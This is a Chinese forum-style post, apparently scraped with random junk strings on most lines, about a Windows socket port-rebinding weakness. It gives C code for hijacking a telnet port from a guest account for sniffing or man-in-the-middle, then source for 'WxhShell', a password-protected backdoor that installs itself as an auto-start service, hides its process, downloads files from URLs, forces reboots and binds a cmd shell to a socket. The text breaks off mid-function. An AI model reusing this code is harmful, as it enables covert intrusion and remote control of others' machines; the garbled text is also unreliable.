在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
(y-x01H s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
A4~D#V _!CK saddr.sin_family = AF_INET;
|De!ti }pbBo2 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
^2C0oX XRClBTKF bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
IlcNT_
5a8 Pd)K^;em 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
z\xiACIc D?iy.Dg 这意味着什么?意味着可以进行如下的攻击:
b*btkaVue fO[Rf_ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Cf.pTYSl NvQY7C 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
|WD,\=J2 #citwMW 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
l,imT$u #]5&mKi 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
9
Q0#We* _F}IF9{?G 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
_#/!s]$d#
[
c ~LY4: 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
H.jLGe> [$hptQv 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
~a|^?7@p #)W8. #include
?)Tz'9l #include
?l)}E #include
\e`6=Q% #include
FBR$,j;Y DWORD WINAPI ClientThread(LPVOID lpParam);
1<XiD3H; int main()
kA7~Yu5| {
c%q}"Y0oh WORD wVersionRequested;
ir9Q##f DWORD ret;
pb=jvK WSADATA wsaData;
<Cf7E BOOL val;
-_y~rx
> SOCKADDR_IN saddr;
5W?yj>JR SOCKADDR_IN scaddr;
g28S3 '2 int err;
8L]gQ g SOCKET s;
{B'Gm]4 SOCKET sc;
&,m'sQ int caddsize;
ZTQ$Ol+{q HANDLE mt;
:J=+; I(UI DWORD tid;
F'V+2,. wVersionRequested = MAKEWORD( 2, 2 );
c7FfI"7HR err = WSAStartup( wVersionRequested, &wsaData );
#Pb7EL#c if ( err != 0 ) {
a}5vY printf("error!WSAStartup failed!\n");
O0K@M return -1;
gp#bQ }
4f@havFIJ saddr.sin_family = AF_INET;
J]n7| L u\Nw:Uu i //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
"@c';".| gt2>nTJz.Z saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
eEZ|nEU saddr.sin_port = htons(23);
K B`1% = if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
(&9DB {
~ERRp3Ee? printf("error!socket failed!\n");
m~= ]^e return -1;
DuTlYXM2^ }
2.HZ+1 val = TRUE;
*@-q@5r}! //SO_REUSEADDR选项就是可以实现端口重绑定的
9J-!o]f .b if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
NDs]}5# {
9 NGeh*` printf("error!setsockopt failed!\n");
.LeF|EQU\@ return -1;
9G`FY:(K }
7$q2v=tH_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
.d#G]8suF //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
42n@:5`{+ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
~aauW? h 7(H%(^_ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
]X>QLD0W {
+(QMy&DtS ret=GetLastError();
Q70**qm printf("error!bind failed!\n");
>/kPnpJ return -1;
H
'WFORso[ }
g6[/F-3Qlf listen(s,2);
h-?q6O/| while(1)
0I(GB;E {
oP|pOs\$p caddsize = sizeof(scaddr);
-7Aw
s) //接受连接请求
4y]: Gqz~ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
'b=eC
if(sc!=INVALID_SOCKET)
<tu[cA> {
'?vgp mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
T>%uRK$ if(mt==NULL)
/VhE<}OtH {
;EE&~&*w printf("Thread Creat Failed!\n");
wB1|r{ break;
U&Sbm~Qi }
^B&ahk }
^ RcIE ( CloseHandle(mt);
ReHd~G9 }
\V"PmaP\ closesocket(s);
@MlU!oR& WSACleanup();
<WHs
return 0;
"a0u-}/D }
~kSnXJv DWORD WINAPI ClientThread(LPVOID lpParam)
f}9PEpa,Z {
H/^TXqQ8 SOCKET ss = (SOCKET)lpParam;
lH,]ZA./ SOCKET sc;
XoH[MJC unsigned char buf[4096];
*Lb(urf SOCKADDR_IN saddr;
0?5% long num;
Fl#VKU3h DWORD val;
n&3iv^ DWORD ret;
Gw\G+T?M- //如果是隐藏端口应用的话,可以在此处加一些判断
'sjJSc //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
=7J|KoKK saddr.sin_family = AF_INET;
:C|>y4U&(s saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Zs3]|bUR saddr.sin_port = htons(23);
@T,H.#bL if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7fN&Q~. {
#g-*n@
1 printf("error!socket failed!\n");
PPj6QJ]R0 return -1;
cvs"WX3 }
~-`BSR val = 100;
r0?hX if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
p~d)2TC4# {
}VGI Y>v ret = GetLastError();
vS J< return -1;
Z68Wf5@to& }
giSG 6'WA if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~*cY& 9 {
]UCk_zWsn1 ret = GetLastError();
i k1L return -1;
R.2KYhp, }
yZ?_q$4kEI if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
k^dCX+ {
?{.b9` printf("error!socket connect failed!\n");
KWigMh\r closesocket(sc);
TgQ|T57 closesocket(ss);
,#
jOf{L* return -1;
N?mY|x\}wK }
pRxlvVt while(1)
Q,,fDBN {
ko+M,kjwR //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
a`@<Z sR //如果是嗅探内容的话,可以再此处进行内容分析和记录
jB/q1vFO //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
vRb(eg num = recv(ss,buf,4096,0);
tN'- qdm if(num>0)
O%++0k; send(sc,buf,num,0);
Pdo5sve else if(num==0)
lc$@Jjg9 break;
A^r
[_dyZ num = recv(sc,buf,4096,0);
9tc@
if(num>0)
&h4Z|h[01 send(ss,buf,num,0);
l=-dK_I? else if(num==0)
\")YKN=W break;
wkZ2Y-#=' }
1z};"A closesocket(ss);
WJFTy+bD closesocket(sc);
C1Pt3 return 0 ;
`.sIZku }
^K77V$v .J6j" 9J;H.:WH ==========================================================
^qzT5W\@ MlC-Aad( 下边附上一个代码,,WXhSHELL
K`_E>k e2h k ==========================================================
C#?d=x b1>$sPJ+ #include "stdafx.h"
4qSS<SqY qYu!:xa8 #include <stdio.h>
C@?e`=9( #include <string.h>
%`T^qh_dE #include <windows.h>
h&)vdCCk #include <winsock2.h>
:jKXKY+T #include <winsvc.h>
z`r4edk3 #include <urlmon.h>
*}iT6OJ Wn,g!rB^@ #pragma comment (lib, "Ws2_32.lib")
|C2.Zay #pragma comment (lib, "urlmon.lib")
CIik@O* tv=FFfQ #define MAX_USER 100 // 最大客户端连接数
E?q'|f #define BUF_SOCK 200 // sock buffer
1'U%7#;E #define KEY_BUFF 255 // 输入 buffer
-ZoOX"N} A_q3p\b #define REBOOT 0 // 重启
8s5ru) #define SHUTDOWN 1 // 关机
wgR@M[]o; bd 1J#V] #define DEF_PORT 5000 // 监听端口
L pi_uK ,cO)Sxj
#define REG_LEN 16 // 注册表键长度
$
p1EqVu #define SVC_LEN 80 // NT服务名长度
rgZrE;*;
@Kb| // 从dll定义API
e/ % ; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
1yRd10 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
l;VGJMPi typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
(b2^d typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
(_n8$3T75 l<K.!z<-:8 // wxhshell配置信息
h}%M struct WSCFG {
MVL }[ J int ws_port; // 监听端口
tAu|8aL char ws_passstr[REG_LEN]; // 口令
B?YfOSF=5 int ws_autoins; // 安装标记, 1=yes 0=no
W%XS0k}x char ws_regname[REG_LEN]; // 注册表键名
?oDfI char ws_svcname[REG_LEN]; // 服务名
l'{goy f char ws_svcdisp[SVC_LEN]; // 服务显示名
Y)5uK:)^ char ws_svcdesc[SVC_LEN]; // 服务描述信息
rnBeL _8 C char ws_passmsg[SVC_LEN]; // 密码输入提示信息
4a \+o] int ws_downexe; // 下载执行标记, 1=yes 0=no
/G{3p&9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
y $DB char ws_filenam[SVC_LEN]; // 下载后保存的文件名
|b;M5w? 6C51:XQO };
oD}FJvV j83Y'VJJC // default Wxhshell configuration
=$zr
t struct WSCFG wscfg={DEF_PORT,
A`/7>'k/q[ "xuhuanlingzhe",
BMj&*p8R 1,
]<_!@J6k "Wxhshell",
%C][E^9 "Wxhshell",
_ktSTzH0 "WxhShell Service",
?d#(ian "Wrsky Windows CmdShell Service",
?'#;Y"RT "Please Input Your Password: ",
(X7yNIPfA 1,
HY| SLk/E "
http://www.wrsky.com/wxhshell.exe",
,Y5 4(>>% "Wxhshell.exe"
@dKf]&h%% };
?&nz g(r'Y#U // 消息定义模块
;3}b&Z[N] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
9/KQAc* char *msg_ws_prompt="\n\r? for help\n\r#>";
qq%_ksQ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
l
YA+k5 char *msg_ws_ext="\n\rExit.";
|w]i$`3'I char *msg_ws_end="\n\rQuit.";
cCKda3v!O char *msg_ws_boot="\n\rReboot...";
`/Jr8J_ char *msg_ws_poff="\n\rShutdown...";
v=WDs#" char *msg_ws_down="\n\rSave to ";
E
:gArQ !3M!p& char *msg_ws_err="\n\rErr!";
95&sFT
C char *msg_ws_ok="\n\rOK!";
4GejT(U 4i&!V9@: char ExeFile[MAX_PATH];
'u%;6'y int nUser = 0;
Z:gsguX HANDLE handles[MAX_USER];
ywtDz8!^u int OsIsNt;
+Ws}a &|FG#.2yw SERVICE_STATUS serviceStatus;
yXl.Gq>]{ SERVICE_STATUS_HANDLE hServiceStatusHandle;
2-2LmxLG 3lgyX/?o // 函数声明
h4xdE0 int Install(void);
/ ^M3-5@Q int Uninstall(void);
)tg*dE int DownloadFile(char *sURL, SOCKET wsh);
.shI%'V int Boot(int flag);
N5]68Fu'({ void HideProc(void);
HY#("=9< h int GetOsVer(void);
(P]^5D int Wxhshell(SOCKET wsl);
V"p*Jd"w void TalkWithClient(void *cs);
]= D int CmdShell(SOCKET sock);
*4\ub:9 int StartFromService(void);
^w}Ib']X int StartWxhshell(LPSTR lpCmdLine);
o"CqVRR a'fb0fz VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
SygsZv&LZ VOID WINAPI NTServiceHandler( DWORD fdwControl );
g+{MvSj$ g@i
4H[k // 数据结构和表定义
1:V/['|*g) SERVICE_TABLE_ENTRY DispatchTable[] =
Y(mwJud| {
&1n0(qB {wscfg.ws_svcname, NTServiceMain},
?Ir6*ZyY {NULL, NULL}
B|w}z1. };
$jL.TraV7 uty]-k // 自我安装
!aoO,P#j int Install(void)
[vJosbU; {
TK1MmL char svExeFile[MAX_PATH];
5Z0x2jV HKEY key;
F&Z>B}; strcpy(svExeFile,ExeFile);
N.J:Qn`( }z@hx@N/ // 如果是win9x系统,修改注册表设为自启动
TJa%zi if(!OsIsNt) {
cW>`Z:6{K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:9>nY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
p`C5jfI RegCloseKey(key);
05DtU!3O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]sIFK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]z@]Fi33Y RegCloseKey(key);
yrb%g~ELGn return 0;
I*t}gvUt9 }
A#\X-8/ }
xk<0QYv
}
t*$@QO else {
v0pEN\ `Q[$R&\ // 如果是NT以上系统,安装为系统服务
e=C,`&sz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
\Bf{/r5x if (schSCManager!=0)
ON^u|*kO {
{GY$J<5= SC_HANDLE schService = CreateService
RAa1KOxZX (
-#hl&^u$ schSCManager,
d@~)Wlje wscfg.ws_svcname,
#-8/|_* wscfg.ws_svcdisp,
+%^xz
1m SERVICE_ALL_ACCESS,
EkPSG&6RZ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
R``qQ;cc SERVICE_AUTO_START,
wjs7K|PK SERVICE_ERROR_NORMAL,
p_5+L@%Gb svExeFile,
={d\zjI$ NULL,
.4-S|]/d, NULL,
4cL=f NULL,
JaTW/~ TU NULL,
/$Jh5Bv NULL
Iu]P^8 );
HkCme_y" if (schService!=0)
e;v2`2z2 {
{643Dz<e CloseServiceHandle(schService);
z5zm,Jw CloseServiceHandle(schSCManager);
n$K_KU v strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
$~l:l[Zs strcat(svExeFile,wscfg.ws_svcname);
4+Kc if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
ul1Vsj RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
dzap]RpB RegCloseKey(key);
^8*.r+7p return 0;
uhLW/?q. }
g [K8G }
EJsb{$u CloseServiceHandle(schSCManager);
3H2'HO }
NiF*h~q }
/vU31_eZt A1@a:P= return 1;
iWEYSi\)n }
`W=JX2I rA7S1)Kq // 自我卸载
q
Sah _N int Uninstall(void)
f&J*(F*u {
Nsy.!,!c HKEY key;
bjZ?WZr RdjUw#\33b if(!OsIsNt) {
)eV]M~K: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
jA'+>`@ RegDeleteValue(key,wscfg.ws_regname);
+yk>jx RegCloseKey(key);
bT |FJ\aC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
i+6/ g RegDeleteValue(key,wscfg.ws_regname);
Uk#1PcPd RegCloseKey(key);
`3Y+:!q return 0;
N_U
D7P1 }
7(-<x@ e }
`K.yE0^i }
o>h>#!e else {
G5Nub9_*X y+_U6rv[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
~drNlt9jf if (schSCManager!=0)
W3#L!&z_wK {
p;HZA}p \ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
6\L,L& if (schService!=0)
j
yE+?4w; {
]v@,>!Wn if(DeleteService(schService)!=0) {
w67Pw
CloseServiceHandle(schService);
H}/1/5L CloseServiceHandle(schSCManager);
TOs|f8ay return 0;
b?l\QMvi }
G4~J+5m k CloseServiceHandle(schService);
>2r/d }
gvX7+F=}B CloseServiceHandle(schSCManager);
5;+Bl@zGu }
x[E`2_Ff 0 }
U8z,N1]r*` YZd4% zF return 1;
:\Dm=Q\ }
;%&@^;@k% 4_eq@'9-q // 从指定url下载文件
(]L=$u4 int DownloadFile(char *sURL, SOCKET wsh)
xo}hu%XL {
+Aq}BjD# HRESULT hr;
te_D
, char seps[]= "/";
bZ=d!)%P-{ char *token;
G9]GK+@&F char *file;
'?nhpT^ char myURL[MAX_PATH];
u<[Y6m char myFILE[MAX_PATH];
l%fl=i~oN ;iWCV&>w strcpy(myURL,sURL);
W NCd k$ token=strtok(myURL,seps);
L=>N#QR7 while(token!=NULL)
*Co+UJjT {
o_S8fHqjt file=token;
b^1!_1c token=strtok(NULL,seps);
_?8T'?-1 }
NB[b[1 Ch y_w4ei GetCurrentDirectory(MAX_PATH,myFILE);
l)zS}"F, strcat(myFILE, "\\");
on~rrSK strcat(myFILE, file);
gBN;j send(wsh,myFILE,strlen(myFILE),0);
UCFef,VW send(wsh,"...",3,0);
fu/v1~X hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
[>fE{~Y if(hr==S_OK)
iqpy5 return 0;
gs'(px else
V@F~Cx return 1;
n#iL[
&/Aw z`W$/tw" }
Y,{X v K-/fq=z // 系统电源模块
:%{8lanO int Boot(int flag)
~*RNJ {
^K8Ey#T HANDLE hToken;
ey:3F% TOKEN_PRIVILEGES tkp;
e(b*T VrHFM(RNe if(OsIsNt) {
Q%6*S!~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
0YKG`W LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Gg/K tkp.PrivilegeCount = 1;
zKR_P{W>^ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Y|Z*|c.4OK AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
aX~7NslR if(flag==REBOOT) {
Vki3D'.7N if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
UGIyNMY return 0;
J::dY~@ }
{ Uh/ ~zu else {
\JX8`]|& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
PR6{Y]e% return 0;
{min9 }
N(Cfv3{ }
(URWicaB else {
]cbY@U3!2 if(flag==REBOOT) {
qT(j%F if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
zg|]Ic return 0;
2$|WXYY }
IRLT- else {
<EJC.WWJa if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
/"
,]J return 0;
R/iXO~/"J }
Rv }e+5F }
HyB!8M| &uC7W.| return 1;
P9gIKOOx#4 }
]R(=) f"S^:F0 // win9x进程隐藏模块
[H!V void HideProc(void)
m)&2zV/Q {
wj5{f5 RWV S?&ntUah HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
%1S;y if ( hKernel != NULL )
(JOge~U {
qWdL|8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
[W`
_` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
@hp@*$#& 9 FreeLibrary(hKernel);
E`BL3+k Q }
ka655O/)& #49,7OBU return;
5G|(od3 }
x)s`j(pYC Que- // 获取操作系统版本
YajUdpJi int GetOsVer(void)
0I1bY]* {
E`$d!7O OSVERSIONINFO winfo;
=98@MX%P winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
sRqFsj}3e GetVersionEx(&winfo);
bNi\+=v<Ys if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
?FJU>+{"> return 1;
K.B!-< else
=5isT return 0;
ngE5$}UM }
qh{hpX)\D Pi`}-GUe, // 客户端句柄模块
]FP(,:Yw int Wxhshell(SOCKET wsl)
Enyx+]9 {
)V7bi^r SOCKET wsh;
~0eJ6i struct sockaddr_in client;
r1f## DWORD myID;
!c/G'se s:CsUl | while(nUser<MAX_USER)
MqRpG5 . {
Ny\p$v
"p int nSize=sizeof(client);
G[GSt`LVS` wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
.}C
pX if(wsh==INVALID_SOCKET) return 1;
yalT6 Qt`}$] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
P`0}( '"U if(handles[nUser]==0)
ly9.2<oz}L closesocket(wsh);
>La!O~d else
1?\G6T nUser++;
{HHc}8 }
K_;'-B WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
]y:2OP +/E`u|%|\] return 0;
llN#4D9s }
0e-M 24,C 7S|nn|\Kp // 关闭 socket
'GcN9D void CloseIt(SOCKET wsh)
6B'd]Fe {
[,JUC< closesocket(wsh);
'W(!N%u nUser--;
nB>C3e ExitThread(0);
ap,%)on^ }
=wEU+R_#o _9*3Mr)2N // 客户端请求句柄
^VabXGzo# void TalkWithClient(void *cs)
[M?'Nw/[S {
:@K1pAh 4 zg>4/10P1q SOCKET wsh=(SOCKET)cs;
O7vJ`K(! char pwd[SVC_LEN];
h'%iY6!fA char cmd[KEY_BUFF];
:%!`R72 char chr[1];
6ZKSet8 int i,j;
kbu.KU+ @M=xdZNyJ while (nUser < MAX_USER) {
vf^`' xO3-I@ if(wscfg.ws_passstr) {
f_'#wc6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
X!6oviT|m //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,X^I]] //ZeroMemory(pwd,KEY_BUFF);
xYSNop3_ i=0;
K FM x(fD while(i<SVC_LEN) {
w\SfzJN x`9IQQ // 设置超时
0q}k"(9 fd_set FdRead;
GE?M. '!{{ struct timeval TimeOut;
^I! u H1G FD_ZERO(&FdRead);
1!/WC.0 FD_SET(wsh,&FdRead);
bMU0h,|] TimeOut.tv_sec=8;
: ZehBu TimeOut.tv_usec=0;
BeFCt; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
-aSj- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
f~a]og5|G iTUOJ3V7i if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
ZE393FnE pwd
=chr[0]; ,Kl6vw8Htg
if(chr[0]==0xd || chr[0]==0xa) { ~!//|q^J]
pwd=0; #u]'3en
break; a>6@1liT
} mLGbwm'K
i++; S1SsJo2\
} |
6/ # H*
}:SWgPfc
// 如果是非法用户,关闭 socket (58}G2}q
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $<DcbJW
} $Jc>B#1
h=*eOxR"4^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^&8FwV]
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >tGl7Ov
)+L.$h
while(1) { 1>)q5D
7j,u&%om
ZeroMemory(cmd,KEY_BUFF); _4^#VD#f
a I^Z0[P+
// 自动支持客户端 telnet标准 R-[t4BHn
j=0; u"hv
_ml
while(j<KEY_BUFF) { SyL:=NZ
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7gxC
xfL$
cmd[j]=chr[0]; 8r{:di*
if(chr[0]==0xa || chr[0]==0xd) { BU;o$"L
cmd[j]=0; xr yXO(
break; y*oH"]D
} ?hfyQhR
j++; QP?eKW9 :
} ^s.necg0
vXI2u;=y
// 下载文件 {)KH%
if(strstr(cmd,"http://")) { "Qci+Qq
send(wsh,msg_ws_down,strlen(msg_ws_down),0); iCXKi7
if(DownloadFile(cmd,wsh)) x%]5Q/|Ur
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vHmsS\\~9
else nGoQwKIW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K3*8-Be
} MdKkj[#
else { ~[[(_C3
)\3
RR.p
switch(cmd[0]) { J>w3>8!>7
D:Rr|m0Tk
// 帮助 Z) qts=
case '?': { 9jkaEn>m^
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =sFLzAu8
break; 1ZZ}ojq
} f5tkv<) %
// 安装 F4X0DRC,G
case 'i': { &\p=s.y?j
if(Install()) G?$0OU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p 3`odmbN
else wbImE;-Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $v \@mW*R
break; u#bd*(
} gR#lRA/
// 卸载 !8jr $
case 'r': { N.1@!\z@@
if(Uninstall()) q'9}Hz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'h*^;3@*
else .5AyB9a%&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J{w[vcf
break; xtq='s8e
} Ec4+wRWk85
// 显示 wxhshell 所在路径 P/?'ea
case 'p': { c|hT\1XR,
char svExeFile[MAX_PATH]; rY:A LA
strcpy(svExeFile,"\n\r"); Et0[HotO
strcat(svExeFile,ExeFile); 4z*An}ol]
send(wsh,svExeFile,strlen(svExeFile),0); q-<t'uhs[
break; %4#Q3YlyD
} F Bk_LEcX
// 重启 ]>_Ie?L)<
case 'b': { v<u`wnt
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S9 VD/
if(Boot(REBOOT)) lO+6|oF0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \2U F J
else { _*1{fvv0{
closesocket(wsh); >0c4C<_
ExitThread(0); @b]?Gg
} 9vL n#_
break; z]d2
rzV(_
} Nk
~"f5q7
// 关机 MpCK/eiC
case 'd': { /&jh10}H
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j~;kh_
if(Boot(SHUTDOWN)) bd&
/B&a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D *Hy 2eZ.
else { xhTiOt6l
closesocket(wsh); >3SZD
ExitThread(0); yKb+bm&5:'
} uKF)'gj
break; |f}1bJE+
} H4Lvw8G
// 获取shell ~u^MRe|`
case 's': { Jv[c?6He
CmdShell(wsh); ?ypX``3#s7
closesocket(wsh); 93]67PL#+
ExitThread(0); =F9!)r
break; }:zTz%_K
} a?K 3/0G
// 退出 ZOIx+%/Vd#
case 'x': { ^V;h>X|
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b,r{wrLe)
CloseIt(wsh); XUK!1}
break; 7}%Z>
} fC<pCdsg
// 离开 Jb1L[sT2
case 'q': { h,!`2_&UQ
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9o<5Z=
closesocket(wsh); Rv=rO|&]
WSACleanup(); 7,BULs\g
exit(1); L!l`2[F|
break; kWW$*d$
} XhEJF !
} vlSSw+r9
} BSd\Sg4
QHmF,P
// 提示信息 )&pcRFl
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^(c.AYI
} aFf(m-
} q37d:Hp
kH|cB!?x
return; JQ"R%g`8
} g\~n5=-D
8nKb
mjM
// shell模块句柄 d:&=|kKw
int CmdShell(SOCKET sock) cy{ ado2
{ ?VRf5 Cr-
STARTUPINFO si; M:/)|fk
ZeroMemory(&si,sizeof(si)); L[rxs[7~
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tH^]`6"QUa
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q!!gn1PT(T
PROCESS_INFORMATION ProcessInfo; DYej<T'?3
char cmdline[]="cmd"; DGrk}
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -Ed<Kl
return 0; V
X"!a
} b2vCr F;
sO$X5S C9
// 自身启动模式 )z=L^ot
int StartFromService(void) EH~t<
{ WT_4YM\bz
typedef struct :SJxG&Pm=~
{ 5!V%0EQqw
DWORD ExitStatus; q>5K:5
DWORD PebBaseAddress; NO'37d
DWORD AffinityMask; 5u=$m^@{
DWORD BasePriority; AR?1_]"=
ULONG UniqueProcessId; ;'i>^zX`
